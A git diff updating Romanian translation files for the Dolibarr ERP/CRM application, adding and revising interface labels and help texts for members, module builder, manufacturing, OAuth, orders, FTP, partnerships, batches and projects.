securitate, trebuie să aveţi drepturi de a modifica toţi utilizatorii pentru a putea asocia un membru unui utilizator altul decât tine. SetLinkToUser=Asociere utilizator sistem SetLinkToThirdParty=Asociere terţ din sistem +MemberCountersArePublic=Contoarele de membri valizi sunt publice MembersCards=Generare carduri pentru membri MembersList=Listă de membri MembersListToValid=Listă membri schiţă (de validat) @@ -34,7 +37,8 @@ DateSubscription=Data adeziunii DateEndSubscription=Dată terminare adeziune EndSubscription=Terminare adeziune SubscriptionId=ID contribuţie -WithoutSubscription=Fără contribuţie +WithoutSubscription=Fără calitate de membru +WaitingSubscription=Calitatea de membru în așteptare MemberId=Id membru MemberRef=Ref membru NewMember=Membru nou @@ -72,6 +76,12 @@ MemberTypeCanNotBeDeleted=Tipul de membru nu poate fi șters NewSubscription=Cotizaţie nouă NewSubscriptionDesc=Acest formular vă permite să vă înregistraţi ca membru nou al fundaţiei. Dacă doriţi să vă reînnoiţi adeziunea (dacă sunteţi deja membru), vă rugăm să contactaţi conducerea fundaţiei pe email la %s . Subscription=Contribuţie +AnyAmountWithAdvisedAmount=Orice sumă la alegerea ta, recomandat %s +AnyAmountWithoutAdvisedAmount=Orice sumă la alegerea ta +CanEditAmountShort=Orice valoare +CanEditAmountShortForValues=recomandat, orice valoare +MembershipDuration=Durată +GetMembershipButtonLabel=Aderare Subscriptions=Contribuţii SubscriptionLate=Întârziat SubscriptionNotReceived=Contribuţia nu a fost încasată @@ -136,7 +146,7 @@ CardContent=Conţinutul fişei tale de membru # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=Vrem să vă informăm că cererea dvs. de adeziune ca membru a fost primită.

      ThisIsContentOfYourMembershipWasValidated=Vrem să vă informăm că cererea dvs. de adeziune ca membru a fost validată cu următoarele informații:

      -ThisIsContentOfYourSubscriptionWasRecorded=Vrem să vă informăm că noul dvs. abonament a fost înregistrat.

      +ThisIsContentOfYourSubscriptionWasRecorded=Te anunțăm că noul abonament a fost înregistrat. Regăsești factura atașată aici.

      ThisIsContentOfSubscriptionReminderEmail=Dorim să vă informăm că adeziunea/abonamentul dvs. este pe cale să expire sau a expirat deja (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Sperăm că il veți reînnoi.

      ThisIsContentOfYourCard=Acesta este un rezumat al informațiilor pe care le avem despre dvs. Vă rugăm să ne contactați dacă ceva este incorect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subiectul emailului de notificare primit în cazul autoînscrierii unui oaspete/vizitator @@ -198,9 +208,12 @@ SubscriptionsStatistics=Statistici contribuţii NbOfSubscriptions=Număr contribuţii AmountOfSubscriptions=Suma colectată din contribuţii TurnoverOrBudget=Cifra de afaceri (pentru o companie), sau Bugetul (pentru o fundaţie) -DefaultAmount=Valoarea implicită a contribuţiei -CanEditAmount=Vizitatorul poate alege/edita valoarea contribuţiei sale -MEMBER_NEWFORM_PAYONLINE=Mergi la pagina integrată de plată online +DefaultAmount=Valoarea implicită a contribuției (utilizată numai dacă nu este definită nicio sumă la nivel de tip de membru) +MinimumAmount=Suma minimă (utilizată numai atunci când suma contribuției este gratuită) +CanEditAmount=Aderarea/înscrierea este gratuită +CanEditAmountDetail=Vizitatorul poate alege/modifica suma cu care contribuie, indiferent de tipul de membru +AmountIsLowerToMinimumNotice=dintr-un total de %s +MEMBER_NEWFORM_PAYONLINE=După înregistrarea online, vei fi direcționat automat pe pagina de plată online ByProperties=După natură MembersStatisticsByProperties=Statistici membri după natură VATToUseForSubscriptions=Cota TVA de utilizat pentru contribuţii @@ -221,3 +234,5 @@ CreateDolibarrLoginDesc=Crearea unui cont de utilizator pentru membri le permite CreateDolibarrThirdPartyDesc=Un terț este persoana juridică care va fi utilizată pe factură dacă decideți să generați factura pentru fiecare contribuție. O veți putea crea mai târziu în timpul procesului de înregistrare a contribuției.  MemberFirstname=Prenume membru MemberLastname=Nume membru +MemberCodeDesc=Cod de membru, unic pentru toți membrii  +NoRecordedMembers=No recorded members diff --git a/htdocs/langs/ro_RO/modulebuilder.lang b/htdocs/langs/ro_RO/modulebuilder.lang index f2cb75bc24d..99c123d6baa 100644 --- a/htdocs/langs/ro_RO/modulebuilder.lang +++ b/htdocs/langs/ro_RO/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Id modul ModuleBuilderDesc=Acest instrument trebuie folosit numai de utilizatori sau dezvoltatori experimentați. Oferă utilități pentru a construi sau edita propriul modul. Documentația pentru dezvoltarea manuală alternativă se găseşte aici. EnterNameOfModuleDesc=Introdu numele modulului/aplicației de creat fără spații. Foloseşte majuscule pentru a separa cuvintele (De exemplu: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Introdu numele obiectului de creat fără spații. Foloseşte majuscule pentru a separa cuvinte (De exemplu: MyObject, Student, Teacher...). Se vor genera fișierul clasă CRUD, dar și fișierul API, paginile de listă/adăugare/editare/ștergere obiect și fișierele SQL. +EnterNameOfObjectDesc=Introdu numele obiectului de creat fără spații. Folosește majuscule pentru a separa cuvintele (de exemplu: MyObject, Student, Teacher...). Se vor genera fișierul clasei CRUD, paginile de listare/adăugare/editare/ștergere a obiectului și fișierele SQL. EnterNameOfDictionaryDesc=Introdu numele dicționarului de creat fără spații. Foloseşte majuscule pentru a separa cuvintele (de exemplu: MyDic...). Se va genera fişierul clasă, dar şi fişierul SQL. ModuleBuilderDesc2=Calea unde sunt generate/editate modulele (primul director pentru module externe definite în %s): %s ModuleBuilderDesc3=Module generate/editabile găsite: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Un modul este detectat ca "editabil" atunci când fișierul < NewModule=Modul nou NewObjectInModulebuilder=Obiect nou NewDictionary=Dicţionar nou +ModuleName=Nume modul ModuleKey=Cheie modul ObjectKey=Cheie obiect DicKey=Cheie dicţionar @@ -48,11 +50,14 @@ PathToModulePackage=Calea pentru arhiva zip a pachetului modul/aplicație PathToModuleDocumentation=Calea către fişierul documentaţie al modulului/aplicaţiei (%s) SpaceOrSpecialCharAreNotAllowed=Spațiile sau caracterele speciale nu sunt permise. FileNotYetGenerated=Fișierul nu a fost încă generat +GenerateCode=Generare cod RegenerateClassAndSql=Forţează actualizarea fişierelor .class şi .sql RegenerateMissingFiles=Generați fișierele lipsă SpecificationFile=Fişier de documentaţie LanguageFile=Fișier pentru limbă ObjectProperties=Proprietăţi obiect +Property=Proprietate +PropertyDesc=O proprietate este un atribut care caracterizează un obiect. Acest atribut are un cod, o etichetă și un tip cu mai multe opțiuni. ConfirmDeleteProperty=Sigur doriți să ștergeți proprietatea %s? Acest lucru va schimba codul în clasa PHP, dar va elimina și coloana din definiția tabelului de obiect. NotNull=Nu NUL NotNullDesc=1=Setare baza de date la NOT NULL, 0=Permite valori nule, -1=Permite valori nule forțând valoarea la NULL dacă este goală ('' sau 0) @@ -81,15 +86,16 @@ IsAMeasure=Este o măsură DirScanned=Directorul scanat NoTrigger=Niciun trigger NoWidget=Nu există widget -GoToApiExplorer=Explorer API +ApiExplorer=Explorer API ListOfMenusEntries=Lista intrărilor din meniu ListOfDictionariesEntries=Listă înregistrări dicţionare ListOfPermissionsDefined=Lista permisiunilor definite SeeExamples=Vedeți aici exemple -EnabledDesc=Condiție de activare a acestui câmp (Exemple: 1 sau $conf->global->MYMODULE_MYOPTION) -VisibleDesc=Este vizibil câmpul? (Exemple: 0 = Invizibil întotdeauna, 1 = Vizibil în liste și în formularele de creare/actualizare/vizualizare, 2 = Vizibil doar în liste, 3 = Vizibil numai în formularele de creare/actualizare/vizualizare (nu în liste), 4 = Vizibil în liste și în formularele de actualizare/vizualizare (nu în cele de creare), 5 = Vizibil numai pe formularul de vizualizare finală a listei (nu pe cele de creare sau actualizare).

      Utilizarea unei valori negative înseamnă că câmp nu este afișat implicit în listă, dar poate fi selectat pentru vizualizare).

      Poate fi o expresie, de exemplu:
      preg_match ('/ public /', $ _SERVER ['PHP_SELF'])? 0: 1
      ($ user-> rights-> holiday-> define_holiday? 1: 0) -DisplayOnPdfDesc=Afișează acest câmp pe documente PDF compatibile, poți gestiona poziția cu câmpul „Poziție”.
      În prezent, modelele PDF compatibile cunoscute sunt: ​​eratostene (comandă), espadon (livrări), sponge (facturi), cyan (propunere/ofertă), cornas (comandă furnizor)

      Pentru document:
      0 = nu este afișat
      1 = afișare
      2 = afișare numai dacă nu este gol

      Pentru liniile documentului:
      0 = nu este afișat
      1 = afișat într-o coloană
      3 = afișare în coloana de descriere a liniei după descriere
      4 = afișare în coloana de descriere numai după descriere dacă nu este gol -DisplayOnPdf=Afişare în PDF +EnabledDesc=Condiție pentru a avea acest câmp activ.

      Exemple:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Este câmpul vizibil? (Exemple: 0=Niciodată vizibil, 1=Vizibil în listă și în formularele de creare/actualizare/vizualizare, 2=Vizibil doar în listă, 3=Vizibil doar pe formularul de creare/actualizare/vizualizare (nu în listă), 4=Vizibil în listă și numai în formularul de actualizare/vizualizare (nu de creare), 5=Vizibil numai în formularul de vizualizare finală a listei (nu de creare, nu de actualizare).

      Folosirea unei valori negative înseamnă că câmpul nu este afișat implicit în listă, dar poate fi selectat pentru vizualizare). +ItCanBeAnExpression=Poate fi o expresie. Exemplu:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Afișați acest câmp pe documente PDF compatibile, poți gestiona poziția cu câmpul "Poziție".
      Pentru document :
      0 = nu este afișat
      1 = afișat
      2 = afișat numai dacă nu este gol

      Pentru liniile documentului :
      0 = neafișat
      1 = afișat într-o coloană
      3 = afișat în coloana descriere a rândului după descriere
      4 = afișare în coloana descriere după descriere numai dacă nu este goală +DisplayOnPdf=În PDF IsAMeasureDesc=Poate fi cumulată valoarea câmpului pentru a obține un total în listă? (Exemple: 1 sau 0) SearchAllDesc=Este folosit câmpul pentru a face o căutare cu instrumentul de căutare rapidă? (Exemple: 1 sau 0) SpecDefDesc=Introduceți aici toată documentația pe care doriți să o furnizați împreună cu modulul, care nu este deja definită de alte file. Puteți utiliza .md sau mai bine, sintaxa îmbogăţită .asciidoc. @@ -130,18 +136,20 @@ UseSpecificEditorURL = Utilizează un URL specificat de editor UseSpecificFamily = Utilizează o familie specifică UseSpecificAuthor = Utilizează un autor specific UseSpecificVersion = Utilizează o versiune iniţială specifică -IncludeRefGeneration=Referința obiectului trebuie să fie generată automat prin reguli de numerotare personalizate  +IncludeRefGeneration=Referința acestui obiect trebuie să fie generată automat prin reguli de numerotare personalizate  IncludeRefGenerationHelp=Bifează această opțiune dacă vrei să incluzi cod pentru a gestiona automat generarea referinței folosind reguli de numerotare personalizate -IncludeDocGeneration=Vreau să generez documente din șabloane pentru obiect +IncludeDocGeneration=Vreau caracteristica să genereze unele documente (PDF, ODT) din șabloane pentru acest obiect IncludeDocGenerationHelp=Dacă bifaţi, va fi generat cod pentru a adăuga o casetă "Generare document" în înregistrarea respectivă. -ShowOnCombobox=Afişează valoare în combox +ShowOnCombobox=Afișare valoare în listele combo KeyForTooltip=Cheie pentru tooltip CSSClass=CSS pentru editare/creare formular CSSViewClass=CSS pentru vizualizare formular CSSListClass=CSS pentru listă NotEditable=Needitabil ForeignKey=Cheie străină -TypeOfFieldsHelp=Tip de câmpuri:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1” înseamnă că adăugăm un buton + după combo pentru a crea înregistrarea
      'filter' este o condiție sql, de exemplu: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=Dacă valoarea acestui câmp trebuie garantată să existe într-un alt tabel. Introdu aici o sintaxă care să corespundă valorii: tablename.parentfieldtocheck +TypeOfFieldsHelp=Exemplu:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' înseamnă că adăugăm un buton + după combo pentru a crea înregistrarea
      'filter' este o condiție sql, exemplu: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=Acesta este tipul câmpului/atributului. AsciiToHtmlConverter=Convertor ASCII la HTML AsciiToPdfConverter=Convertor ASCII la PDF TableNotEmptyDropCanceled=Tabelul nu este gol. Operaţiunea de drop a fost anulată. @@ -154,3 +162,14 @@ ListOfTabsEntries=Listă tab-uri TabsDefDesc=Defineşte aici tab-urile furnizate de modulul tău TabsDefDescTooltip=Tab-urile furnizate de modulul/aplicația ta sunt definite în matricea $this->tabs în fișierul descriptor al modulului. Poți edita manual acest fișier sau poți utiliza editorul încorporat.  BadValueForType=Valoare incorectă pentru tipul %s +DefinePropertiesFromExistingTable=Definește proprietăți dintr-un tabel existent +DefinePropertiesFromExistingTableDesc=Dacă un tabel din baza de date (pentru ca obiectul să fie creat) există deja, îl poți folosi pentru a defini proprietățile obiectului. +DefinePropertiesFromExistingTableDesc2=Lasă necompletat dacă tabelul nu există încă. Generatorul de cod va folosi diferite tipuri de câmpuri pentru a construi un exemplu de tabel pe care îl poți edita ulterior. +GeneratePermissions=vreau să adaug drepturile pentru acest obiect +GeneratePermissionsHelp=generează drepturi implicite pentru acest obiect +PermissionDeletedSuccesfuly=Permisiunea a fost eliminată cu succes +PermissionUpdatedSuccesfuly=Permisiunea a fost actualizată cu succes +PermissionAddedSuccesfuly=Permisiunea a fost adăugată cu succes +MenuDeletedSuccessfuly=Meniul a fost șters cu succes +MenuAddedSuccessfuly=Meniul a fost adăugat cu succes +MenuUpdatedSuccessfuly=Meniul a fost actualizat cu succes diff --git a/htdocs/langs/ro_RO/mrp.lang b/htdocs/langs/ro_RO/mrp.lang index 476ca0cc5b3..5fc7091ccd5 100644 --- a/htdocs/langs/ro_RO/mrp.lang +++ b/htdocs/langs/ro_RO/mrp.lang @@ -11,8 +11,8 @@ Bom=Bonuri de consum BillOfMaterials=Bon de consum BillOfMaterialsLines=Linii bon consum BOMsSetup=Configurarea modulului BOM -ListOfBOMs=Listă bonuri de consum - BOM -ListOfManufacturingOrders=Listă comenzi de producţie +ListOfBOMs=Liste de materiale - BOM +ListOfManufacturingOrders=Comenzi de producţie NewBOM=Bon de consum nou ProductBOMHelp=Produs de creat (sau dezasamblat) cu această listă de materiale.
      Notă: Produsele cu proprietatea 'Natură produs' = 'Materie primă' nu sunt vizibile în această listă. BOMsNumberingModules=Şabloane numerotare BOM @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Eşti sigur că vrei să clonezi bonul de consum %s? ConfirmCloneMo=Eşti sigur că vrei să clonezi Comanda de producţie %s ? ManufacturingEfficiency=Eficienţa producţiei ConsumptionEfficiency=Eficienţa consumului +Consumption=Consum ValueOfMeansLoss=Valoarea de 0.95 înseamnă o pierdere medie de 5%% în timpul producției sau demontării  ValueOfMeansLossForProductProduced= Valoarea de 0,95 înseamnă o medie de 5 %% pierdere din produsul fabricat DeleteBillOfMaterials=Şterge bonuri de consum @@ -82,6 +83,7 @@ ProductsToProduce=Produse de fabricat UnitCost=Cost unitar TotalCost=Cost total BOMTotalCost=Costul pentru fabricaţia acestui Bon de consum în funcție de costul fiecărei cantități și produs de consumat (utilizați Prețul de cost, dacă este definit, altfel Prețul mediu ponderat, dacă este definit, altfel cel mai bun preț de achiziție) +BOMTotalCostService=Dacă modulul "Stații de lucru" este activat și o stație de lucru este definită implicit pe linie, atunci calculul este "cantitate (convertită în ore) x stație de lucru ahr", în caz contrar "cantitate (convertită în ore) x prețul de cost al serviciului"  GoOnTabProductionToProduceFirst=Mai întâi trebuie să fi început producția pentru a închide o Comandă de fabricație (Vezi fila '%s'). Puteți anula. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Un kit nu poate fi folosit într-un BOM sau MO Workstation=Staţie de lucru @@ -100,6 +102,7 @@ NbOperatorsRequired=Nr. de operatori necesar THMOperatorEstimated=Total ore minute estimat per operator THMMachineEstimated=Total ore minute estimat per maşină WorkstationType=Tip staţie de lucru +DefaultWorkstation=Stație de lucru implicită Human=Personal uman Machine=Maşină HumanMachine=Personal / Maşină @@ -112,3 +115,10 @@ MOAndLines=Comenzi de producţie şi linii MoChildGenerate=Generare Bon consum copil ParentMo=Bon consum părinte MOChild=Bon consum copil +BomCantAddChildBom=Nomenclatorul %s este deja prezentă în arborele care duce la nomenclatorul %s +BOMNetNeeds = Necesar net BOM +BOMProductsList=Produse BOM +BOMServicesList=Servicii BOM +Manufacturing=Producție +Disassemble=Dezasamblare +ProducedBy=Produs de diff --git a/htdocs/langs/ro_RO/oauth.lang b/htdocs/langs/ro_RO/oauth.lang index 7608fdef072..4e77f4ce90c 100644 --- a/htdocs/langs/ro_RO/oauth.lang +++ b/htdocs/langs/ro_RO/oauth.lang @@ -9,8 +9,9 @@ HasAccessToken=Un token a fost generat și salvat în baza de date locală NewTokenStored=Token-ul a fost primit și salvat ToCheckDeleteTokenOnProvider=Faceți clic aici pentru a verifica/șterge autorizația salvată de furnizorul OAuth %s TokenDeleted=Token şters +GetAccess=Clic aici pentr a obține un token RequestAccess=Clic aici pentru a solicita/reînnoi accesul și pentru a primi un nou token  -DeleteAccess=Click aici pentru a șterge token-ul +DeleteAccess=Clic aici pentru a șterge token-ul UseTheFollowingUrlAsRedirectURI=Utilizați adresa URL următoare ca URI de redirecționare atunci când vă creați acreditările cu furnizorul de servicii OAuth: ListOfSupportedOauthProviders=Adăugă furnizorii tăi de token-uri OAuth2. Apoi, accesează pagina de administrare a furnizorului OAuth pentru a crea/obține un ID OAuth și un secret și salveză-le aici. După ce ai terminat, comută pe cealaltă filă pentru a-ți genera token-ul. OAuthSetupForLogin=Pagină gestionare (generare/ștergere) token-uri OAuth @@ -30,7 +31,11 @@ OAUTH_GITHUB_SECRET=OAuth GitHub Secret OAUTH_URL_FOR_CREDENTIAL=Accesează această pagină pentru a crea sau a obține ID-ul și Secretul OAuth OAUTH_STRIPE_TEST_NAME=Testare OAuth Stripe OAUTH_STRIPE_LIVE_NAME=OAuth Stripe Live -OAUTH_ID=ID OAuth +OAUTH_ID=ID Client OAuth OAUTH_SECRET=Secret OAuth +OAUTH_TENANT=OAuth tenant OAuthProviderAdded=Furnizor OAuth adăugat AOAuthEntryForThisProviderAndLabelAlreadyHasAKey=Există deja o intrare OAuth pentru acest furnizor și etichetă +URLOfServiceForAuthorization=Adresa URL furnizată de serviciul OAuth pentru autentificare +Scopes=Permisiuni (Domenii) +ScopeUndefined=Permisiuni (domenii) nedefinite (vezi fila anterioară) diff --git a/htdocs/langs/ro_RO/orders.lang b/htdocs/langs/ro_RO/orders.lang index 3931bfaec96..d9dfbd0559c 100644 --- a/htdocs/langs/ro_RO/orders.lang +++ b/htdocs/langs/ro_RO/orders.lang @@ -96,6 +96,10 @@ OrdersStatisticsSuppliers=Statistici privind comenzile de achiziție NumberOfOrdersByMonth=Număr comenzi pe luni AmountOfOrdersByMonthHT=Suma comenzilor pe lună (fără taxe) ListOfOrders=Listă comenzi +ListOrderLigne=Linii de comadă +productobuy=Doar produse de vânzare +productonly=Doar produse +disablelinefree=Fără linii cu text liber CloseOrder=Închidere comandă ConfirmCloseOrder=Sigur doriți să setați această comandă pentru a fi livrată? Odată ce o comandă este livrată, ea poate fi setată ca facturabilă. ConfirmDeleteOrder=Sigur doriți să ștergeți această comandă? @@ -131,6 +135,7 @@ SupplierOrderClassifiedBilled=Comanda de achiziţie %s a fost setată ca factura OtherOrders=Alte comenzi SupplierOrderValidatedAndApproved=Comanda de achiziţie este validată şi aprobată : %s SupplierOrderValidated=Comanda de achiziţie este validată : %s +OrderShowDetail=Afișare detalii comandă ##### Types de contacts ##### TypeContact_commande_internal_SALESREPFOLL=Reprezentant urmărire comandă de vânzări TypeContact_commande_internal_SHIPPING=Responsabil urmărire livrare comandă client @@ -199,3 +204,5 @@ StatusSupplierOrderApproved=Aprobat StatusSupplierOrderRefused=Refuzat StatusSupplierOrderReceivedPartially=Parţial recepţionată StatusSupplierOrderReceivedAll=Toate produsele primite +NeedAtLeastOneInvoice = Trebuie să existe cel puțin o factură +LineAlreadyDispatched = Linia de comandă este deja primită. diff --git a/htdocs/langs/ro_RO/other.lang b/htdocs/langs/ro_RO/other.lang index 29bd7e3ce07..14e505b6b5f 100644 --- a/htdocs/langs/ro_RO/other.lang +++ b/htdocs/langs/ro_RO/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Comanda de achiziţie a fost aprobată Notify_ORDER_SUPPLIER_REFUSE=Comanda de achiziţie a fost refuzată Notify_PROPAL_VALIDATE=Oferta client a fost validată Notify_PROPAL_CLOSE_SIGNED=Oferta comercială a fost acceptată şi semnată de client +Notify_PROPAL_CLOSE_SIGNED_WEB=Oferta comecială a fost închisă ca semnată de client pe pagina portalului Notify_PROPAL_CLOSE_REFUSED=Oferta comercială a fost refuzată de client +Notify_PROPAL_CLOSE_REFUSED_WEB=Oferta comecială a fost închisă ca refuzată de client pe pagina portalului Notify_PROPAL_SENTBYMAIL=Ofertă comercială a fost trimisă prin poştă Notify_WITHDRAW_TRANSMIT=Transmitere retragere de sumă Notify_WITHDRAW_CREDIT=Retragere de credit @@ -181,6 +183,7 @@ SizeUnitfoot=picior SizeUnitpoint=punct BugTracker=Bug tracker SendNewPasswordDesc=Acest formular vă permite să solicitați o nouă parolă. Acesta va fi trimis la adresa ta de email.
      Schimbarea parolei va intra în vigoare după ce faceți clic pe link-ul de confirmare din email.
      Verificați Inbox-ul +EnterNewPasswordHere=Introdu noua ta parolă aici BackToLoginPage=Înapoi la pagina de conectare AuthenticationDoesNotAllowSendNewPassword=Metoda de autentificare este %s.
      În acest mod, sistemul nu poate şti şi nici nu poate să-ţi schimbe parola.
      Contactează administratorul de sistem dacă vrei să-ţi schimbi parola. EnableGDLibraryDesc=Instalați sau activați biblioteca GD în configuraţia PHP pentru a utiliza această opțiune. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Factura %s a fost validată. EMailTextInvoicePayed=Factura %s a fost achitată. EMailTextProposalValidated=Oferta comercială %s a fost validată. EMailTextProposalClosedSigned=Oferta comercială %s a fost semnată şi închisă. +EMailTextProposalClosedSignedWeb=Oferta comercială %s a fost închisă ca semnată pe pagina portalului. +EMailTextProposalClosedRefused=Oferta comercială %s a fost închisă ca refuzată +EMailTextProposalClosedRefusedWeb=Oferta comercială %s a fost închisă ca refuzată pe pagina portalului. EMailTextOrderValidated=Comanda %s a fost validată. EMailTextOrderApproved=Comanda %s a fost aprobată. EMailTextOrderValidatedBy=Comanda %s a fost înregistrată de %s. @@ -311,10 +317,10 @@ ExternalSiteURL=URL-ul site-ului extern care va fi conținut în iframe HTML ExternalSiteModuleNotComplete=Modulul Site extern nu a fost configurat corespunzător. ExampleMyMenuEntry=Intrare în Meniul meu -# FTP +# ftp FTPClientSetup=Configurare modul client FTP sau SFTP -NewFTPClient=Configurare conexiune nouă FTP/FTPS -FTPArea=FTP/FTPS +NewFTPClient=Configurare nouă de conexiune FTP/SFTP +FTPArea=FTP/SFTP FTPAreaDesc=Acest ecran arată o vedere a unui server FTP și SFTP. SetupOfFTPClientModuleNotComplete=Configurarea modulului client FTP sau SFTP pare să fie incompletă FTPFeatureNotSupportedByYourPHP=PHP-ul nu suportă funcţii FTP sau SFTP @@ -325,3 +331,9 @@ FTPFailedToRemoveDir=Eșec la eliminarea directorului %s : verifică per FTPPassiveMode=Mod pasiv ChooseAFTPEntryIntoMenu=Alege un site FTP/SFTP din meniu... FailedToGetFile=Nu se pot obţine fișierele %s +ErrorFTPNodisconnect=Eroare la deconectarea de la serverul FTP/SFTP +FileWasUpload=Fișierul %s a fost încărcat +FTPFailedToUploadFile=Eșec la încărcarea fișierului %s. +AddFolder=Creare folder +FileWasCreateFolder=Folderul %s a fost creat +FTPFailedToCreateFolder=Eșec la crearea folderului %s. diff --git a/htdocs/langs/ro_RO/partnership.lang b/htdocs/langs/ro_RO/partnership.lang index a73206f4945..0276b20b759 100644 --- a/htdocs/langs/ro_RO/partnership.lang +++ b/htdocs/langs/ro_RO/partnership.lang @@ -20,6 +20,7 @@ ModulePartnershipName=Parteneriate PartnershipDescription=Modul Management parteneriate PartnershipDescriptionLong= Modul Management parteneriate Partnership=Parteneriat +Partnerships=Parteneriate AddPartnership=Adăugare parteneriat CancelPartnershipForExpiredMembers=Parteneriat: Anulează parteneriatul membrilor cu adeziuni expirate PartnershipCheckBacklink=Parteneriat: Verificare backlink de referinţă @@ -28,6 +29,7 @@ PartnershipCheckBacklink=Parteneriat: Verificare backlink de referinţă # Menu # NewPartnership=Parteneriat nou +NewPartnershipbyWeb=Your partnership request has been added successfully. We may contact you soon... ListOfPartnerships=Listă parteneriate # diff --git a/htdocs/langs/ro_RO/productbatch.lang b/htdocs/langs/ro_RO/productbatch.lang index 07b3b358a4b..8dde906d68e 100644 --- a/htdocs/langs/ro_RO/productbatch.lang +++ b/htdocs/langs/ro_RO/productbatch.lang @@ -17,6 +17,7 @@ printBatch=Lot/Serie: %s printEatby=Expiră la : %s printSellby=Vândut la: %s printQty=Cant: %d +printPlannedWarehouse=Depozit: %s AddDispatchBatchLine=Adaugă o linie pentru trimiterea perioadei de valabilitate WhenProductBatchModuleOnOptionAreForced=Când modulul Lot / Serial este activat, scăderea automată a stocurilor este forțată la "Reducerea stocurilor reale la validarea livrărilor" și modul automat de creștere este forțat la "Cresterea stocurilor reale la expedierea manuală în depozite" și nu poate fi editat. Alte opțiuni pot fi definite așa cum doriți. ProductDoesNotUseBatchSerial=Acest produs nu foloseste numărul de lot / serie @@ -43,3 +44,4 @@ HideLots=Ascunde loturile OutOfOrder=Indisponibil InWorkingOrder=În stare de funcționare ToReplace=De înlocuit +CantMoveNonExistantSerial=Eroare. Soliciţi o mutare pe o înregistrare pentru o serie care nu mai există. Este posibil să iei aceiași serie pe același depozit de mai multe ori în aceiași expediere sau a fost folosită de o altă livrare. Înlătură această livrare și pregăteşte alta. diff --git a/htdocs/langs/ro_RO/projects.lang b/htdocs/langs/ro_RO/projects.lang index 519c9eacd0e..39d3dc0b05a 100644 --- a/htdocs/langs/ro_RO/projects.lang +++ b/htdocs/langs/ro_RO/projects.lang @@ -23,6 +23,7 @@ TasksPublicDesc=Această vedere prezintă toate proiectele şi task-urile pentru TasksDesc=Această vedere prezintă toate proiectele şi task-urile (drepturile îţi permit să vezi totul). AllTaskVisibleButEditIfYouAreAssigned=Toate task-urile pentru proiectele calificate sunt vizibile, însă puteți introduce timp consumat doar pe task-ul atribuit utilizatorului selectat. Atribuiți task-ul dacă trebuie să introduceți timp consumat pe el. OnlyYourTaskAreVisible=Sunt vizibile doar task-urile atribuite ție. Dacă trebuie să introduci timpul pentru un task și dacă task-ul nu este vizibil aici, atunci trebuie să-ţi atribui task-ul.  +ImportDatasetProjects=Proiecte sau oportunități ImportDatasetTasks=Task-uri proiecte ProjectCategories=Etichete/categorii proiecte NewProject=Proiect nou @@ -37,7 +38,9 @@ OpportunitiesStatusForOpenedProjects=Sumă lead-uri din proiectele deschise în OpportunitiesStatusForProjects=Sumă lead-uri din priecte în funcție de status ShowProject=Afişează proiect ShowTask=Arată task +SetThirdParty=Setare terț SetProject=Setare proiect +OutOfProject=În afara proiectului NoProject=Niciun proiect definit sau la care sunt responsabil NbOfProjects=Număr proiecte NbOfTasks=Număr task-uri @@ -122,7 +125,8 @@ ValidateProject=Validează proiect ConfirmValidateProject=Sigur doriți să validați acest proiect? CloseAProject=Închide proiect ConfirmCloseAProject=Sigur doriți să închideți acest proiect? -AlsoCloseAProject=De asemenea, închideți proiectul (păstrați-l deschis dacă totuși trebuie să urmăriţi task-uri de producție pe acesta) +AlsoCloseAProject=Totodată, închide proiectul +AlsoCloseAProjectTooltip=Păstrează-l deschis dacă trebuie să urmărești sarcinile de producție pe el  ReOpenAProject=Re-deschide proiect ConfirmReOpenAProject=Sigur doriți să redeschideți acest proiect? ProjectContact=Contacte proiect @@ -165,7 +169,7 @@ OpportunityProbability=Probabilitate lead OpportunityProbabilityShort=Probab. lead OpportunityAmount=Valoare lead OpportunityAmountShort=Valoare lead -OpportunityWeightedAmount=Valoare ponderată lead +OpportunityWeightedAmount=Valoare oportunitate, ponderată în funcție de probabilitate OpportunityWeightedAmountShort=Val. ponderată lead OpportunityAmountAverageShort=Valoare medie lead OpportunityAmountWeigthedShort=Valoare ponderată lead @@ -238,7 +242,7 @@ OppStatusPENDING=În aşteptare OppStatusWON=Câştigat OppStatusLOST=Pierdut Budget=Buget -AllowToLinkFromOtherCompany=Permite asocierea proiectului pe la o altă companie

      Valori acceptate:
      - Păstrați gol: Poate asocia orice proiect al companiei (implicit)
      - "all": Poate asocia orice proiecte, chiar proiecte ale altor companii
      - ID-urile terților separate prin virgule: poate asocia toate proiectele acestor terți (Exemplu: 123,4795,53)
      +AllowToLinkFromOtherCompany=Permite conectarea unui element cu un proiect al altei companii.

      Valori acceptate:
      - Păstrează gol: poate lega elemente cu orice proiecte din aceeași companie (implicit)
      - "toate": Poate lega elemente cu orice proiecte, chiar și proiecte ale altor companii
      - O listă de ID-uri terți separați prin virgule: poate lega elemente cu orice proiecte ale acestor terți (Exemplu: 123,4795,53)
